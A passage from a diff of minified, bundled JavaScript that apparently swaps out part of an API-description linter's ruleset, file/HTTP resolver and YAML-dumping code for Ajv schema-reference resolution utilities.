s7._getFullPath)(this.opts.uriResolver, i9); + let r9 = (0, s7.getFullPath)(this.opts.uriResolver, e12.baseId, void 0); + if (Object.keys(e12.schema).length > 0 && n9 === r9) + return y7.call(this, i9, e12); + const o8 = (0, s7.normalizeId)(n9), a8 = this.refs[o8] || this.schemas[o8]; + if ("string" == typeof a8) { + const t11 = m7.call(this, e12, a8); + if ("object" != typeof (null == t11 ? void 0 : t11.schema)) return; - console.warn(...e12); + return y7.call(this, i9, t11); } - }, log: console.log, error: console.error }; - function u7(e12, t10) { - const i9 = new e12({ allErrors: t10, meta: true, messages: true, strict: false, allowUnionTypes: true, logger: l7, unicodeRegExp: false }); - return (0, p7.default)(i9), t10 && (0, c7.default)(i9), e12 === r8.default && (i9.addSchema(f8), i9.addSchema(d7)), i9; - } - function m7(e12) { - let t10, i9; - return { get default() { - return null != t10 || (t10 = u7(e12, false)), t10; - }, get allErrors() { - return null != i9 || (i9 = u7(e12, true)), i9; - } }; - } - t9.createAjvInstances = function() { - const e12 = { auto: m7(r8.default), draft4: m7(a7.default), "draft2019-09": m7(o7.default), "draft2020-12": m7(s7.default) }, t10 = /* @__PURE__ */ new WeakMap(); - return function(i9, n9, r9) { - var o8, s8, a8, p8; - const c8 = (null !== (o8 = e12[n9]) && void 0 !== o8 ? o8 : e12.auto)[r9 ? "allErrors" : "default"], d8 = i9.$id; - if ("string" == typeof d8) - return null !== (s8 = c8.getSchema(d8)) && void 0 !== s8 ? s8 : c8.compile(i9); - { - const e13 = null !== (a8 = t10.get(c8)) && void 0 !== a8 ? a8 : t10.set(c8, /* @__PURE__ */ new WeakMap()).get(c8); - return null !== (p8 = e13.get(i9)) && void 0 !== p8 ? p8 : e13.set(i9, c8.compile(i9)).get(i9); + if ("object" == typeof (null == a8 ? void 0 : a8.schema)) { + if (a8.validate || d7.call(this, a8), o8 === (0, s7.normalizeId)(t10)) { + const { schema: t11 } = a8, { schemaId: i10 } = this.opts, n10 = t11[i10]; + return n10 && (r9 = (0, s7.resolveUrl)(this.opts.uriResolver, r9, n10)), new c7({ schema: t11, schemaId: i10, root: e12, baseId: r9 }); } - }; - }; - }, 95818: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(69371), r8 = (0, n8.__importDefault)(i8(58883)), o7 = i8(67423), s7 = i8(79097), a7 = (0, n8.__importDefault)(i8(85748)), p7 = i8(23859), c7 = i8(45250), d7 = i8(9251), f8 = /* @__PURE__ */ new WeakMap(); - t9.default = (0, p7.createRulesetFunction)({ input: null, options: d7.optionSchemas.schema }, function(e12, t10, { path: i9, rule: n9, documentInventory: p8 }) { - var d8, l7, u7; - if (void 0 === e12) - return [{ path: i9, message: '#{{print("property")}}must exist' }]; - const m7 = null !== (d8 = f8.get(p8)) && void 0 !== d8 ? d8 : f8.set(p8, (0, s7.createAjvInstances)()).get(p8), h8 = [], { allErrors: y7 = false, schema: g7 } = t10; - try { - const n10 = m7(g7, null !== (l7 = void 0 === t10.dialect || "auto" === t10.dialect ? (0, o7.detectDialect)(g7) : null == t10 ? void 0 : t10.dialect) && void 0 !== l7 ? l7 : "draft7", y7); - false === (null == n10 ? void 0 : n10(e12)) && Array.isArray(n10.errors) && (null === (u7 = t10.prepareResults) || void 0 === u7 || u7.call(t10, n10.errors), h8.push(...(0, r8.default)(g7, n10.errors, { propertyPath: i9, targetValue: e12 }).map(({ suggestion: e13, error: t11, path: n11 }) => ({ message: void 0 !== e13 ? `${t11}. ${e13}` : t11, path: [...i9, ..."" !== n11 ? n11.replace(/^\//, "").split("/") : []] })))); - } catch (e13) { - if (!(0, c7.isError)(e13)) - throw new Error("Unexpected error"); - (null == n9 ? void 0 : n9.resolved) && e13 instanceof a7.default || h8.push({ message: e13.message, path: i9 }); + return y7.call(this, i9, a8); } - return h8; - }); - }, 11214: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(23859), r8 = i8(9251); - t9.default = (0, n8.createRulesetFunction)({ input: null, options: r8.optionSchemas.truthy }, function(e12) { - if (!e12) - return [{ message: '#{{print("property")}}must be truthy' }]; - }); - }, 92805: (e11, t9) => { - "use strict"; - var i8; - Object.defineProperty(t9, "__esModule", { value: true }), t9.CasingType = void 0, (i8 = t9.CasingType || (t9.CasingType = {})).flat = "flat", i8.camel = "camel", i8.pascal = "pascal", i8.kebab = "kebab", i8.cobol = "cobol", i8.snake = "snake", i8.macro = "macro"; - }, 60928: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(23859), r8 = i8(9251); - t9.default = (0, n8.createRulesetFunction)({ input: null, options: r8.optionSchemas.undefined }, function(e12) { - if (void 0 !== e12) - return [{ message: '#{{print("property")}}must be undefined' }]; - }); - }, 67884: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(23859), r8 = i8(95955), o7 = i8(46734), s7 = i8(9251); - t9.default = (0, n8.createRulesetFunction)({ input: { type: "object" }, options: s7.optionSchemas.unreferencedReusableObject }, function(e12, t10, { document: i9, documentInventory: n9 }) { - var s8; - const a7 = n9.graph; - if (null === a7) - throw new Error("unreferencedReusableObject requires dependency graph"); - const p7 = null !== (s8 = i9.source) && void 0 !== s8 ? s8 : "", c7 = Object.keys(e12).map((e13) => `${p7}${t10.reusableObjectsLocation}/${e13}`), d7 = new Set(a7.overallOrder().map((e13) => (0, o7.decodePointer)(e13))); - return c7.filter((e13) => !d7.has(e13)).map((e13) => ({ message: "Potential orphaned reusable object has been detected", path: (0, r8.safePointerToPath)(e13) })); - }); - }, 6073: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(23859), r8 = i8(95955), o7 = i8(9251); - t9.default = (0, n8.createRulesetFunction)({ input: { type: "object" }, options: o7.optionSchemas.xor }, function(e12, { properties: t10 }) { - const i9 = []; - if (1 !== Object.keys(e12).filter((e13) => t10.includes(e13)).length) { - const e13 = t10.map((e14) => (0, r8.printValue)(e14)), n9 = e13.pop(); - let o8 = e13.join(", ") + (null != n9 ? ` and ${n9}` : ""); - o8 += " must not be both defined or both undefined", i9.push({ message: o8 }); + } + t9.SchemaEnv = c7, t9.compileSchema = d7, t9.resolveRef = function(e12, t10, i9) { + var n9; + i9 = (0, s7.resolveUrl)(this.opts.uriResolver, t10, i9); + const r9 = e12.refs[i9]; + if (r9) + return r9; + let o8 = u7.call(this, e12, i9); + if (void 0 === o8) { + const r10 = null === (n9 = e12.localRefs) || void 0 === n9 ? void 0 : n9[i9], { schemaId: s8 } = this.opts; + r10 && (o8 = new c7({ schema: r10, schemaId: s8, root: e12, baseId: t10 })); } - return i9; - }); - }, 63083: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(39862); - (0, n8.__exportStar)(i8(50973), t9), (0, n8.__exportStar)(i8(72708), t9), (0, n8.__exportStar)(i8(51562), t9); - }, 50973: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }), t9.Json = t9.parseJson = void 0; - const n8 = i8(46734); - t9.parseJson = (e12) => (0, n8.parseWithPointers)(e12, { ignoreDuplicateKeys: false, preserveKeyOrder: true }), t9.Json = { parse: t9.parseJson, getLocationForJsonPath: n8.getLocationForJsonPath, trapAccess: n8.trapAccess }; - }, 51562: (e11, t9) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - }, 72708: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }), t9.Yaml = t9.parseYaml = void 0; - const n8 = i8(3740); - t9.parseYaml = (e12) => (0, n8.parseWithPointers)(e12, { ignoreDuplicateKeys: false, mergeKeys: true, preserveKeyOrder: true, attachComments: false }), t9.Yaml = { parse: t9.parseYaml, getLocationForJsonPath: function(e12, t10) { - return (0, n8.getLocationForJsonPath)(e12, t10); - }, trapAccess: n8.trapAccess }; - }, 88601: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }), t9.createHttpAndFileResolver = t9.ResolverDepGraph = t9.Resolver = t9.httpAndFileResolver = void 0; - const n8 = i8(2230), r8 = i8(54668), o7 = i8(16586); - Object.defineProperty(t9, "Resolver", { enumerable: true, get: function() { - return o7.Resolver; - } }); - const s7 = i8(95955), a7 = i8(30524); - function p7(e12) { - const t10 = (0, r8.createResolveHttp)({ ...s7.DEFAULT_REQUEST_OPTIONS, ...e12 }); - return new o7.Resolver({ resolvers: { https: { resolve: t10 }, http: { resolve: t10 }, file: { resolve: r8.resolveFile } } }); + return void 0 !== o8 ? e12.refs[i9] = f8.call(this, o8) : void 0; + }, t9.getCompilingSchema = l7, t9.resolveSchema = m7; + const h8 = /* @__PURE__ */ new Set(["properties", "patternProperties", "enum", "dependencies", "definitions"]); + function y7(e12, { baseId: t10, schema: i9, root: n9 }) { + var r9; + if ("/" !== (null === (r9 = e12.fragment) || void 0 === r9 ? void 0 : r9[0])) + return; + for (const n10 of e12.fragment.slice(1).split("/")) { + if ("boolean" == typeof i9) + return; + const e13 = i9[(0, a7.unescapeFragment)(n10)]; + if (void 0 === e13) + return; + const r10 = "object" == typeof (i9 = e13) && i9[this.opts.schemaId]; + !h8.has(n10) && r10 && (t10 = (0, s7.resolveUrl)(this.opts.uriResolver, t10, r10)); + } + let o8; + if ("boolean" != typeof i9 && i9.$ref && !(0, a7.schemaHasRulesButRef)(i9, this.RULES)) { + const e13 = (0, s7.resolveUrl)(this.opts.uriResolver, t10, i9.$ref); + o8 = m7.call(this, n9, e13); + } + const { schemaId: p8 } = this.opts; + return o8 = o8 || new c7({ schema: i9, schemaId: p8, root: n9, baseId: t10 }), o8.schema !== o8.root.schema ? o8 : void 0; } - (0, n8.__exportStar)(i8(7944), t9), t9.httpAndFileResolver = p7(), t9.ResolverDepGraph = a7.DepGraph, t9.createHttpAndFileResolver = p7; - }, 7944: (e11, t9) => { + }, 63036: (e11, t9, i8) => { "use strict"; Object.defineProperty(t9, "__esModule", { value: true }); - }, 86663: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }), t9.DEFAULT_REQUEST_OPTIONS = void 0; - const n8 = (0, i8(54078).__importDefault)(i8(98203)); - t9.DEFAULT_REQUEST_OPTIONS = {}, t9.default = async (e12, i9 = {}) => (0, n8.default)(e12, { ...i9, ...t9.DEFAULT_REQUEST_OPTIONS }); - }, 95955: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }), t9.DEFAULT_REQUEST_OPTIONS = t9.fetch = void 0; - const n8 = i8(54078); - (0, n8.__exportStar)(i8(14205), t9); - var r8 = i8(86663); - Object.defineProperty(t9, "fetch", { enumerable: true, get: function() { - return (0, n8.__importDefault)(r8).default; - } }), Object.defineProperty(t9, "DEFAULT_REQUEST_OPTIONS", { enumerable: true, get: function() { - return r8.DEFAULT_REQUEST_OPTIONS; - } }), (0, n8.__exportStar)(i8(65744), t9); - }, 65744: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }), t9.readParsable = t9.readFile = void 0; - const n8 = i8(54078), r8 = i8(98136), o7 = (0, n8.__importDefault)(i8(67083)), s7 = (0, n8.__importStar)(i8(18248)), a7 = i8(45250), p7 = (0, n8.__importDefault)(i8(86663)), c7 = i8(92918); - async function d7(e12, t10) { - if ((0, r8.isURL)(e12)) { - let i9, n9 = null; - try { - const r9 = {}; - if (r9.agent = t10.agent, void 0 !== t10.timeout) { - const e13 = new o7.default(); - n9 = setTimeout(() => { - e13.abort(); - }, t10.timeout), r9.signal = e13.signal; - } - if (i9 = await (0, p7.default)(e12, r9), !i9.ok) - throw new Error(i9.statusText); - return await i9.text(); - } catch (e13) { - throw (0, a7.isError)(e13) && "AbortError" === e13.name ? new Error("Timeout") : e13; - } finally { - null !== n9 && clearTimeout(n9); - } - } else - try { - return await new Promise((i9, n9) => { - s7.readFile(e12, t10.encoding, (e13, t11) => { - null !== e13 ? n9(e13) : i9(t11); - }); - }); - } catch (t11) { - throw new Error(`Could not read ${e12}: ${(0, c7.printError)(t11)}`); - } - } - t9.readFile = d7, t9.readParsable = async function(e12, t10) { - try { - return await d7(e12, t10); - } catch (t11) { - throw new Error(`Could not parse ${e12}: ${(0, c7.printError)(t11)}`); - } - }; - }, 39090: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }), t9.decodeSegmentFragment = void 0; - const n8 = i8(46734); - t9.decodeSegmentFragment = function(e12) { - return "string" != typeof e12 ? String(e12) : (0, n8.decodePointerFragment)(e12); - }; - }, 14205: (e11, t9, i8) => { + const n8 = i8(17898), r8 = { data: new n8.Name("data"), valCxt: new n8.Name("valCxt"), instancePath: new n8.Name("instancePath"), parentData: new n8.Name("parentData"), parentDataProperty: new n8.Name("parentDataProperty"), rootData: new n8.Name("rootData"), dynamicAnchors: new n8.Name("dynamicAnchors"), vErrors: new n8.Name("vErrors"), errors: new n8.Name("errors"), this: new n8.Name("this"), self: new n8.Name("self"), scope: new n8.Name("scope"), json: new n8.Name("json"), jsonPos: new n8.Name("jsonPos"), jsonLen: new n8.Name("jsonLen"), jsonPart: new n8.Name("jsonPart") }; + t9.default = r8; + }, 85748: (e11, t9, i8) => { "use strict"; Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(54078); - (0, n8.__exportStar)(i8(39090), t9), (0, n8.__exportStar)(i8(92918), t9), (0, n8.__exportStar)(i8(73389), t9), (0, n8.__exportStar)(i8(24569), t9), (0, n8.__exportStar)(i8(6291), t9); - }, 92918: (e11, t9, i8) => { + const n8 = i8(14856); + class r8 extends Error { + constructor(e12, t10, i9, r9) { + super(r9 || `can't resolve reference ${i9} from id ${t10}`), this.missingRef = (0, n8.resolveUrl)(e12, t10, i9), this.missingSchema = (0, n8.normalizeId)((0, n8.getFullPath)(e12, this.missingRef)); + } + } + t9.default = r8; + }, 14856: (e11, t9, i8) => { "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }), t9.printError = void 0; - const n8 = i8(45250); - t9.printError = function(e12) { - return (0, n8.isError)(e12) ? e12.message : "unknown error"; + Object.defineProperty(t9, "__esModule", { value: true }), t9.getSchemaRefs = t9.resolveUrl = t9.normalizeId = t9._getFullPath = t9.getFullPath = t9.inlineRef = void 0; + const n8 = i8(50458), r8 = i8(38792), o7 = i8(1645), s7 = /* @__PURE__ */ new Set(["type", "format", "pattern", "maxLength", "minLength", "maxProperties", "minProperties", "maxItems", "minItems", "maximum", "minimum", "uniqueItems", "multipleOf", "required", "enum", "const"]); + t9.inlineRef = function(e12, t10 = true) { + return "boolean" == typeof e12 || (true === t10 ? !p7(e12) : !!t10 && c7(e12) <= t10); }; - }, 73389: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }), t9.printPath = t9.PrintStyle = void 0; - const n8 = i8(46734); - var r8; - !function(e12) { - e12.Dot = "dot", e12.Pointer = "pointer", e12.EscapedPointer = "escapedPointer"; - }(r8 = t9.PrintStyle || (t9.PrintStyle = {})); - const o7 = (e12) => "number" == typeof e12 ? e12 : (0, n8.decodePointerFragment)(e12); - t9.printPath = (e12, t10) => { - switch (t10) { - case r8.Dot: - return (0, n8.decodePointerFragment)(((e13) => e13.reduce((e14, t11, i9) => { - var n9; - return `${e14}${null !== (n9 = ((e15) => { - return "number" == typeof e15 ? `[${e15}]` : 0 === e15.length ? "['']" : /\s/.test(e15) ? `['${e15}']` : "number" != typeof (t12 = e15) && Number.isNaN(Number(t12)) ? null : `[${e15}]`; - var t12; - })(t11)) && void 0 !== n9 ? n9 : `${0 === i9 ? "" : "."}${t11}`}`; - }, ""))(e12)); - case r8.Pointer: - return 0 === e12.length ? "#" : `#/${(0, n8.decodePointerFragment)(e12.join("/"))}`; - case r8.EscapedPointer: - return (0, n8.pathToPointer)(e12.map(o7)); - default: - return String(e12); + const a7 = /* @__PURE__ */ new Set(["$ref", "$recursiveRef", "$recursiveAnchor", "$dynamicRef", "$dynamicAnchor"]); + function p7(e12) { + for (const t10 in e12) { + if (a7.has(t10)) + return true; + const i9 = e12[t10]; + if (Array.isArray(i9) && i9.some(p7)) + return true; + if ("object" == typeof i9 && p7(i9)) + return true; } + return false; + } + function c7(e12) { + let t10 = 0; + for (const i9 in e12) { + if ("$ref" === i9) + return 1 / 0; + if (t10++, !s7.has(i9) && ("object" == typeof e12[i9] && (0, n8.eachItem)(e12[i9], (e13) => t10 += c7(e13)), t10 === 1 / 0)) + return 1 / 0; + } + return t10; + } + function d7(e12, t10 = "", i9) { + false !== i9 && (t10 = u7(t10)); + const n9 = e12.parse(t10); + return f8(e12, n9); + } + function f8(e12, t10) { + return e12.serialize(t10).split("#")[0] + "#"; + } + t9.getFullPath = d7, t9._getFullPath = f8; + const l7 = /#\/?$/; + function u7(e12) { + return e12 ? e12.replace(l7, "") : ""; + } + t9.normalizeId = u7, t9.resolveUrl = function(e12, t10, i9) { + return i9 = u7(i9), e12.resolve(t10, i9); }; - }, 24569: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }), t9.printValue = void 0; - const n8 = i8(45250), r8 = i8(46734); - t9.printValue = function(e12) { - return void 0 === e12 ? "undefined" : (0, n8.isObject)(e12) ? Array.isArray(e12) ? "Array[]" : e12 instanceof RegExp ? String(e12.source) : !(0, r8.isPlainObject)(e12) && "constructor" in e12 && "string" == typeof e12.constructor.name ? e12.constructor.name : "Object{}" : JSON.stringify(e12); - }; - }, 6291: (e11, t9, i8) => { - "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }), t9.getClosestJsonPath = t9.safePointerToPath = t9.getEndRef = t9.traverseObjUntilRef = t9.isAbsoluteRef = t9.startsWithProtocol = void 0; - const n8 = i8(46734), r8 = i8(98136), o7 = i8(45250), s7 = /^[a-z]+:\/\//i; - t9.startsWithProtocol = (e12) => s7.test(e12), t9.isAbsoluteRef = (e12) => (0, r8.isAbsolute)(e12) || (0, t9.startsWithProtocol)(e12), t9.traverseObjUntilRef = (e12, t10) => { - let i9 = e12; - for (const e13 of t10.slice()) { - if (!(0, o7.isObject)(i9)) - throw new TypeError("Segment is not a part of the object"); - if (!(e13 in i9)) { - if ((0, n8.hasRef)(i9)) - return i9.$ref; - throw new Error("Segment is not a part of the object"); + const m7 = /^[a-z_][-a-z0-9._]*$/i; + t9.getSchemaRefs = function(e12, t10) { + if ("boolean" == typeof e12) + return {}; + const { schemaId: i9, uriResolver: n9 } = this.opts, s8 = u7(e12[i9] || t10), a8 = { "": s8 }, p8 = d7(n9, s8, false), c8 = {}, f9 = /* @__PURE__ */ new Set(); + return o7(e12, { allKeys: true }, (e13, t11, n10, r9) => { + if (void 0 === r9) + return; + const o8 = p8 + t11; + let s9 = a8[r9]; + function d8(t12) { + const i10 = this.opts.uriResolver.resolve; + if (t12 = u7(s9 ? i10(s9, t12) : t12), f9.has(t12)) + throw h8(t12); + f9.add(t12); + let n11 = this.refs[t12]; + return "string" == typeof n11 && (n11 = this.refs[n11]), "object" == typeof n11 ? l8(e13, n11.schema, t12) : t12 !== u7(o8) && ("#" === t12[0] ? (l8(e13, c8[t12], t12), c8[t12] = e13) : this.refs[t12] = o8), t12; } - i9 = i9[e13], t10.shift(); + function y7(e14) { + if ("string" == typeof e14) { + if (!m7.test(e14)) + throw new Error(`invalid anchor "${e14}"`); + d8.call(this, `#${e14}`); + } + } + "string" == typeof e13[i9] && (s9 = d8.call(this, e13[i9])), y7.call(this, e13.$anchor), y7.call(this, e13.$dynamicAnchor), a8[t11] = s9; + }), c8; + function l8(e13, t11, i10) { + if (void 0 !== t11 && !r8(e13, t11)) + throw h8(i10); } - return (0, n8.isPlainObject)(i9) && (0, n8.hasRef)(i9) && 1 === Object.keys(i9).length ? i9.$ref : null; - }, t9.getEndRef = (e12, t10) => { - for (; t10 in e12; ) - t10 = e12[t10]; - return t10; - }, t9.safePointerToPath = (e12) => { - const t10 = (0, n8.extractPointerFromRef)(e12); - return null !== t10 ? (0, n8.pointerToPath)(t10) : []; - }, t9.getClosestJsonPath = (e12, t10) => { - const i9 = []; - if (!(0, o7.isObject)(e12)) - return i9; - let n9 = e12; - for (const e13 of t10) { - if (!(0, o7.isObject)(n9) || !(e13 in n9)) - break; - i9.push(e13), n9 = n9[e13]; + function h8(e13) { + return new Error(`reference "${e13}" resolves to more than one schema`); } - return i9; }; - }, 29228: (e11, t9) => { + }, 90383: (e11, t9) => { "use strict"; - function i8(e12) { - return null == e12; - } - Object.defineProperty(t9, "__esModule", { value: true }), t9.isNothing = i8, t9.isObject = function(e12) { - return "object" == typeof e12 && null !== e12; - }, t9.toArray = function(e12) { - return Array.isArray(e12) ? e12 : i8(e12) ? [] : [e12]; - }, t9.extend = function(e12, t10) { - var i9, n8, r8, o7; - if (t10) - for (i9 = 0, n8 = (o7 = Object.keys(t10)).length; i9 < n8; i9 += 1) - e12[r8 = o7[i9]] = t10[r8]; - return e12; - }, t9.repeat = function(e12, t10) { - var i9, n8 = ""; - for (i9 = 0; i9 < t10; i9 += 1) - n8 += e12; - return n8; - }, t9.isNegativeZero = function(e12) { - return 0 === e12 && Number.NEGATIVE_INFINITY === 1 / e12; + Object.defineProperty(t9, "__esModule", { value: true }), t9.getRules = t9.isJSONType = void 0; + const i8 = /* @__PURE__ */ new Set(["string", "number", "integer", "boolean", "null", "object", "array"]); + t9.isJSONType = function(e12) { + return "string" == typeof e12 && i8.has(e12); + }, t9.getRules = function() { + const e12 = { number: { type: "number", rules: [] }, string: { type: "string", rules: [] }, array: { type: "array", rules: [] }, object: { type: "object", rules: [] } }; + return { types: { ...e12, integer: true, boolean: true, null: true }, rules: [{ rules: [] }, e12.number, e12.string, e12.array, e12.object], post: { rules: [] }, all: {}, keywords: {} }; }; - }, 17128: (e11, t9, i8) => { + }, 50458: (e11, t9, i8) => { "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - var n8 = i8(29228), r8 = i8(94716), o7 = i8(80406), s7 = i8(23102), a7 = Object.prototype.toString, p7 = Object.prototype.hasOwnProperty, c7 = 9, d7 = 10, f8 = 13, l7 = 32, u7 = 33, m7 = 34, h8 = 35, y7 = 37, g7 = 38, b8 = 39, v8 = 42, j6 = 44, $5 = 45, x7 = 58, _6 = 61, w6 = 62, S6 = 63, P6 = 64, O7 = 91, T6 = 93, A6 = 96, I6 = 123, E6 = 124, q5 = 125, k6 = { 0: "\\0", 7: "\\a", 8: "\\b", 9: "\\t", 10: "\\n", 11: "\\v", 12: "\\f", 13: "\\r", 27: "\\e", 34: '\\"', 92: "\\\\", 133: "\\N", 160: "\\_", 8232: "\\L", 8233: "\\P" }, M6 = ["y", "Y", "yes", "Yes", "YES", "on", "On", "ON", "n", "N", "no", "No", "NO", "off", "Off", "OFF"]; - function R6(e12) { - var t10, i9, o8; - if (t10 = e12.toString(16).toUpperCase(), e12 <= 255) - i9 = "x", o8 = 2; - else if (e12 <= 65535) - i9 = "u", o8 = 4; - else { - if (!(e12 <= 4294967295)) - throw new r8("code point within a string may not be greater than 0xFFFFFFFF"); - i9 = "U", o8 = 8; - } - return "\\" + i9 + n8.repeat("0", o8 - t10.length) + t10; - } - function D6(e12) { - this.schema = e12.schema || o7, this.indent = Math.max(1, e12.indent || 2), this.noArrayIndent = e12.noArrayIndent || false, this.skipInvalid = e12.skipInvalid || false, this.flowLevel = n8.isNothing(e12.flowLevel) ? -1 : e12.flowLevel, this.styleMap = function(e13, t10) { - var i9, n9, r9, o8, s8, a8, c8; - if (null === t10) - return {}; - for (i9 = {}, r9 = 0, o8 = (n9 = Object.keys(t10)).length; r9 < o8; r9 += 1) - s8 = n9[r9], a8 = String(t10[s8]), "!!" === s8.slice(0, 2) && (s8 = "tag:yaml.org,2002:" + s8.slice(2)), (c8 = e13.compiledTypeMap.fallback[s8]) && p7.call(c8.styleAliases, a8) && (a8 = c8.styleAliases[a8]), i9[s8] = a8; - return i9; - }(this.schema, e12.styles || null), this.sortKeys = e12.sortKeys || false, this.lineWidth = e12.lineWidth || 80, this.noRefs = e12.noRefs || false, this.noCompatMode = e12.noCompatMode || false, this.condenseFlow = e12.condenseFlow || false, this.implicitTypes = this.schema.compiledImplicit, this.explicitTypes = this.schema.compiledExplicit, this.comments = e12.comments || {}, this.tag = null, this.result = "", this.duplicates = [], this.usedDuplicates = null; - } - function C6(e12, t10) { - for (var i9, r9 = n8.repeat(" ", t10), o8 = 0, s8 = -1, a8 = "", p8 = e12.length; o8 < p8; ) - -1 === (s8 = e12.indexOf("\n", o8)) ? (i9 = e12.slice(o8), o8 = p8) : (i9 = e12.slice(o8, s8 + 1), o8 = s8 + 1), i9.length && "\n" !== i9 && (a8 += r9), a8 += i9; - return a8; - } - function V5(e12, t10) { - return "\n" + n8.repeat(" ", e12.indent * t10); - } - function N6(e12) { - return e12 === l7 || e12 === c7; - } - function F6(e12) { - return 32 <= e12 && e12 <= 126 || 161 <= e12 && e12 <= 55295 && 8232 !== e12 && 8233 !== e12 || 57344 <= e12 && e12 <= 65533 && 65279 !== e12 || 65536 <= e12 && e12 <= 1114111; + Object.defineProperty(t9, "__esModule", { value: true }), t9.checkStrictMode = t9.getErrorPath = t9.Type = t9.useFunc = t9.setEvaluated = t9.evaluatedPropsToName = t9.mergeEvaluated = t9.eachItem = t9.unescapeJsonPointer = t9.escapeJsonPointer = t9.escapeFragment = t9.unescapeFragment = t9.schemaRefOrVal = t9.schemaHasRulesButRef = t9.schemaHasRules = t9.checkUnknownRules = t9.alwaysValidSchema = t9.toHash = void 0; + const n8 = i8(17898), r8 = i8(83277); + function o7(e12, t10 = e12.schema) { + const { opts: i9, self: n9 } = e12; + if (!i9.strictSchema) + return; + if ("boolean" == typeof t10) + return; + const r9 = n9.RULES.keywords; + for (const i10 in t10) + r9[i10] || m7(e12, `unknown keyword: "${i10}"`); } - function U6(e12, t10) { - return F6(e12) && 65279 !== e12 && e12 !== j6 && e12 !== O7 && e12 !== T6 && e12 !== I6 && e12 !== q5 && e12 !== x7 && (e12 !== h8 || t10 && function(e13) { - return F6(e13) && !N6(e13) && 65279 !== e13 && e13 !== f8 && e13 !== d7; - }(t10)); + function s7(e12, t10) { + if ("boolean" == typeof e12) + return !e12; + for (const i9 in e12) + if (t10[i9]) + return true; + return false; } - function L6(e12) { - return /^\n* /.test(e12); + function a7(e12) { + return "number" == typeof e12 ? `${e12}` : e12.replace(/~/g, "~0").replace(/\//g, "~1"); } - var z6 = 1, B6 = 2, Q5 = 3, K5 = 4, H5 = 5; - function G5(e12, t10, i9, n9, o8) { - var s8 = function() { - if (0 === t10.length) - return "''"; - if (!e12.noCompatMode && -1 !== M6.indexOf(t10)) - return "'" + t10 + "'"; - var o9 = e12.indent * Math.max(1, i9), s9 = -1 === e12.lineWidth ? -1 : Math.max(Math.min(e12.lineWidth, 40), e12.lineWidth - o9), a8 = n9 || e12.flowLevel > -1 && i9 >= e12.flowLevel; - switch (function(e13, t11, i10, n10, r9) { - var o10, s10, a9, p8, c8 = false, f9 = false, l8 = -1 !== n10, k7 = -1, M7 = F6(p8 = e13.charCodeAt(0)) && 65279 !== p8 && !N6(p8) && p8 !== $5 && p8 !== S6 && p8 !== x7 && p8 !== j6 && p8 !== O7 && p8 !== T6 && p8 !== I6 && p8 !== q5 && p8 !== h8 && p8 !== g7 && p8 !== v8 && p8 !== u7 && p8 !== E6 && p8 !== _6 && p8 !== w6 && p8 !== b8 && p8 !== m7 && p8 !== y7 && p8 !== P6 && p8 !== A6 && !N6(e13.charCodeAt(e13.length - 1)); - if (t11) - for (o10 = 0; o10 < e13.length; o10++) { - if (!F6(s10 = e13.charCodeAt(o10))) - return H5; - a9 = o10 > 0 ? e13.charCodeAt(o10 - 1) : null, M7 = M7 && U6(s10, a9); - } - else { - for (o10 = 0; o10 < e13.length; o10++) { - if ((s10 = e13.charCodeAt(o10)) === d7) - c8 = true, l8 && (f9 = f9 || o10 - k7 - 1 > n10 && " " !== e13[k7 + 1], k7 = o10); - else if (!F6(s10)) - return H5; - a9 = o10 > 0 ? e13.charCodeAt(o10 - 1) : null, M7 = M7 && U6(s10, a9); - } - f9 = f9 || l8 && o10 - k7 - 1 > n10 && " " !== e13[k7 + 1]; - } - return c8 || f9 ? i10 > 9 && L6(e13) ? H5 : f9 ? K5 : Q5 : M7 && !r9(e13) ? z6 : B6; - }(t10, a8, e12.indent, s9, function(t11) { - return function(e13, t12) { - var i10, n10; - for (i10 = 0, n10 = e13.implicitTypes.length; i10 < n10; i10 += 1) - if (e13.implicitTypes[i10].resolve(t12)) - return true; - return false; - }(e12, t11); - })) { - case z6: - return t10; - case B6: - return "'" + t10.replace(/'/g, "''") + "'"; - case Q5: - return "|" + W5(t10, e12.indent) + J5(C6(t10, o9)); - case K5: - return ">" + W5(t10, e12.indent) + J5(C6(function(e13, t11) { - for (var i10, n10, r9, o10 = /(\n+)([^\n]*)/g, s10 = (r9 = -1 !== (r9 = e13.indexOf("\n")) ? r9 : e13.length, o10.lastIndex = r9, Z5(e13.slice(0, r9), t11)), a9 = "\n" === e13[0] || " " === e13[0]; n10 = o10.exec(e13); ) { - var p8 = n10[1], c8 = n10[2]; - i10 = " " === c8[0], s10 += p8 + (a9 || i10 || "" === c8 ? "" : "\n") + Z5(c8, t11), a9 = i10; - } - return s10; - }(t10, s9), o9)); - case H5: - return '"' + function(e13) { - for (var t11, i10, n10, r9 = "", o10 = 0; o10 < e13.length; o10++) - (t11 = e13.charCodeAt(o10)) >= 55296 && t11 <= 56319 && (i10 = e13.charCodeAt(o10 + 1)) >= 56320 && i10 <= 57343 ? (r9 += R6(1024 * (t11 - 55296) + i10 - 